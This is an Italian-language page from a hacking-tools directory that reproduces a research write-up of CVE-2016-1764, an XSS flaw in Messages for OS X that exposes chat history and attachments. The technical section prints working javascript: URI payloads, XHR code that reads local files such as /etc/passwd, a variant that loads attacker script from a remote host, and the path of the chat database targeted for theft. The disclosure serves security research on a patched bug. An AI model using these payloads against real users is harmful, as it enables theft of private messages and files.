Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
cve-2016-1764 — Estrazione dei dati di iMessage tramite XSS | Kitploit
Strumenti/GitHubGitHub/moloch--/cve-2016-1764
OSINT (Open Source Intelligence)Sicurezza iOSExploitSfruttamento di Applicazioni WebEsfiltrazione DatiRaccolta InformazioniSicurezza Mobile
GitHubmoloch--/cve-2016-1764

cve-2016-1764

Estrazione dei dati di iMessage tramite XSS

Vedi Repository
51301310 anni faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Codice Exploit PoC per CVE-2016-1764

Recupero dei dati iMessage in chiaro senza violare la crittografia

Autori

  • Shubham Shah di Bishop Fox
  • Joe DeMesy di Bishop Fox
  • Matthew Bryant

CVE-2016-1764

Vendor: Apple

Data di rilascio: 8 aprile 2016

Data della patch: 21 marzo 2016

Sistemi interessati: Messages su OSX Mountain Yosemite, El Capitan

Mentre la maggior parte del recente dibattito su Apple si è concentrato sulla crittografia, l'industria e le forze dell'ordine sembrano aver dimenticato che vulnerabilità applicative più semplici possono essere sfruttate per aggirare del tutto la crittografia. CVE-2016-1764, corretta da Apple a marzo 2016, è un bug a livello applicativo che consente la divulgazione remota in chiaro di tutti i contenuti dei messaggi e degli allegati sfruttando il client iMessage di OS X. Inoltre, non serve una laurea in matematica per sfruttarlo, né richiede una conoscenza approfondita della gestione della memoria, dello shellcode o di complesse catene ROP per bypassare l'ASLR. In realtà, è un bug relativamente semplice che può essere sfruttato da chiunque abbia una conoscenza di base di JavaScript.

Riepilogo tecnico

Messages (iMessage) per OS X di Apple implementa la propria interfaccia utente utilizzando una versione embedded di WebKit; inoltre, Messages su OS X renderizza qualsiasi URI come un link cliccabile <a href=. Un attaccante può creare un semplice URI JavaScript (ad esempio javascript:) che, una volta cliccato, garantisce all'attaccante l'esecuzione iniziale di JavaScript (XSS) nel contesto del DOM dell'applicazione. Sebbene la libreria WebKit embedded utilizzata da Messages per OS X venga eseguita in un'origine applewebdata://, un attaccante può comunque leggere file arbitrari utilizzando richieste XMLHttpRequest (XHR) GET verso un URI file://, poiché non è implementata alcuna same-origin policy (SOP). Abusando di XHR per leggere file, un attaccante può caricare l'intera cronologia delle chat e gli allegati di una vittima su un server remoto alla massima velocità consentita dalla connessione Internet della vittima; l'unica interazione richiesta all'utente è fare clic su un singolo link nella chat. Inoltre, se l'inoltro SMS è attivo, l'attaccante può anche recuperare i messaggi inviati/ricevuti dall'iPhone della vittima.

Se vuoi conoscere tutti i dettagli più spinosi, continua a leggere.

Dettagli tecnici

Messages per OS X

Messages per OS X utilizza una versione embedded di WebKit per gran parte della sua interfaccia utente. Quando i messaggi vengono inviati o ricevuti dall'applicazione, viene inserito HTML nel DOM per renderizzare l'interfaccia utente e qualsiasi allegato/contenuto multimediale inviato. Tutti i messaggi inviati tramite l'applicazione vengono renderizzati in un DOM e, di conseguenza, le comuni vulnerabilità web lato client possono compromettere l'applicazione.

Durante il test del client Messages per OS X, è stato scoperto che schemi di protocollo arbitrari venivano automaticamente convertiti in link e inseriti nel DOM. Ad esempio, i seguenti URI vengono tutti inseriti come link nella WebView quando vengono inviati come messaggi:

test://test
smb://[email protected]
file:///etc
anyurihandler://anycontentafter

Poiché Messages per OS X non implementa una whitelist dei protocolli accettati, un attaccante può inviare alla vittima un messaggio contenente un URI JavaScript javascript:, che verrà convertito in un link cliccabile sulla macchina della vittima.

Una volta cliccato, la WebKit embedded eseguirà puntualmente il JavaScript controllato dall'attaccante nell'origine corrente, ad esempio:

js_prompt_1

Nota che %0a (cioè \n) viene usato per uscire dal commento JavaScript //, necessario per corrispondere al pattern di collegamento del parser. Una volta interpretato, il codice assomiglia a:

//bishopfox.com/research?
prompt(1)

Facendo clic su questo link, viene attivato un prompt JavaScript all'interno di Messages per OS X:

Tuttavia, Messages per OS X è un'applicazione desktop, non un sito web. Pertanto il JavaScript viene eseguito nel contesto di un'origine applewebdata://:

Tuttavia, il codice dell'attaccante viene eseguito in un'implementazione WebKit completa, quindi XMLHttpRequest è disponibile in fase di runtime. Una delle differenze fondamentali tra una versione embedded di WebKit e un browser web come Chrome o Safari è che la versione embedded non implementa alcuna same-origin policy (SOP), trattandosi di un'applicazione desktop nativa. Un attaccante può sfruttare questo per leggere file dal filesystem locale senza violare la same-origin policy, inviando richieste XMLHttpRequest GET verso URI file://. L'unico requisito è che l'attaccante debba conoscere il percorso completo del file; i percorsi relativi del filesystem (ad esempio ~/.ssh/id_rsa) non possono essere utilizzati.

Leggere i file

Ad esempio, il seguente JavaScript può essere eseguito dal DOM dell'applicazione Messages per leggere il file /etc/passwd:

function reqListener () {
  prompt(this.responseText);
  // send back to attackers server here
}

var oReq = new XMLHttpRequest();
oReq.addEventListener("load", reqListener);
oReq.open("GET", "file:///etc/passwd");
oReq.send();

Convertito in un payload URI, il codice appare come segue:

javascript://bishopfox.com/research?%0d%0afunction%20reqListener%20()%20%7B%0A%20%20prompt(this.responseText)%3B%0A%7D%0Avar%20oReq%20%3D%20new%20XMLHttpRequest()%3B%0AoReq.addEventListener(%22load%22%2C%20reqListener)%3B%0AoReq.open(%22GET%22%2C%20%22file%3A%2F%2F%2Fetc%2Fpasswd%22)%3B%0AoReq.send()%3B

Quando viene cliccato nell'applicazione Messages, appare il seguente prompt:

Poiché il vettore sopra è piuttosto lungo e appare eccessivamente sospetto, è possibile accorciare l'URI caricando dinamicamente JavaScript da un dominio e includendolo nel DOM. Ad esempio, il seguente vettore inietta il JavaScript da http://example.com/1.js nel DOM di Messages:

javascript://bishopfox.com/research?%0a%28function%28s%29%7Bs.src%3D%27http%3A%2f%2fexample.com%2f1.js%27%3Bdocument.body.appendChild%28s%29%7D%29%28document.createElement%28%27script%27%29%29

Il file JavaScript referenziato //example.com/1.js nel vettore sopra può contenere istruzioni JavaScript arbitrarie di lunghezza arbitraria.

Tuttavia, la sandbox dell'applicazione OS X limitava l'accesso al filesystem solo a ~/Library/Messages/* e ad alcune altre directory di sistema non utente come /etc/.

Rubare il database e gli allegati di Messages

Quando messages e allegati vengono ricevuti da Messages su OS X, vengono salvati nella seguente directory:

/Users/<username>/Library/Messages/*

Il contenuto testuale di questi messaggi e altri metadati sono memorizzati in un database SQLite situato in:

/Users/<username>/Library/Messages/chat.db

Questo database contiene anche le posizioni di tutti gli allegati presenti sulla macchina dell'utente.

Per rubare questo database e, successivamente, tutti gli allegati mai ricevuti o inviati da una vittima, è necessario un payload di attacco più avanzato.

Panoramica dell'exploit

Scarica lo strumento